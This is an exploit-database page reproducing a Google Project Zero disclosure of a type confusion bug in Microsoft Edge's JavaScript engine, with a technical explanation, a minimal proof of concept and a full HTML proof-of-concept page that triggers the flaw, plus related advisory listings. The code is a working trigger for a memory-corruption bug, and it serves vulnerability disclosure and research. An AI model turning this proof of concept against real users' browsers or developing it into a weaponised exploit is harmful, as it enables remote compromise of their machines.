Microsoft Edge - FillFromPrototypes Type Confusion Exploit

🗓️ 19 Nov 2016 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 81 Views

Microsoft Edge - FillFromPrototypes Type Confusion Exploi

Reporter	Title	Published	Views	Family All 43
0day.today	Microsoft Windows 10 Edge - chakra.dll Info Leak / Type Confusion Remote Code Execution Exploit	6 Jan 201700:00	–	zdt
GithubExploit	Exploit for Out-of-bounds Write in Microsoft	29 Apr 202620:45	–	githubexploit
ATTACKERKB	CVE-2016-7200	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7202	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7243	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7208	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7201	10 Nov 201600:00	–	attackerkb
BDU FSTEC	Microsoft Edge browser vulnerability, which allows a hacker to trigger a service failure or execute arbitrary code	27 Dec 201600:00	–	bdu_fstec
Circl	CVE-2016-7201	18 Nov 201600:00	–	circl
CISA KEV Catalog	Microsoft Edge Memory Corruption Vulnerability	28 Mar 202200:00	–	cisa_kev

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=945
 
JavascriptArray::FillFromPrototypes is a method that is used by several Javascript functions available in the browser to set the native elements of an array to the values provide by its prototype. This function calls JavascriptArray::ForEachOwnMissingArrayIndexOfObject with the prototype of the object as a parameter, and if the prototype of the object is an array, it assumes that it is a Var array. While arrays are generally converted to var arrays if they are set as an object's prototype, if an object's prototype is a Proxy object, it can return a parent prototype that is a native int array. This can lead to type confusing, allowing an integer to be treated as an absolute pointer, when JavascriptArray::FillFromPrototypes is called. A minimal PoC is as follows, and a full PoC is attached.
 
var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);
 
var handler = {
    getPrototypeOf: function(target, name){
    return a;
    }
};
 
var p = new Proxy([], handler);
var b = [{}, [], "natalie"];
 
b.__proto__ = p;
b.length = 4;
 
a.shift.call(b);
 // b[2] is type confused
-->
 
<html>
<body>
<script>
 
var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);
 
var handler = {
    getPrototypeOf: function(target, name){
       // print("get proto");
    return a;
    }
};
 
var p = new Proxy([], handler);
var b = [{}, [], "natalie"];
 
b.__proto__ = p;
b.length = 4;
 
a.shift.call(b);
print(a.shift.call(b[2]));
 
</script>
</body>
</html>

#  0day.today [2018-01-01]  #

19 Nov 2016 00:00Current

7.7High risk

Vulners AI Score7.7

EPSS0.88908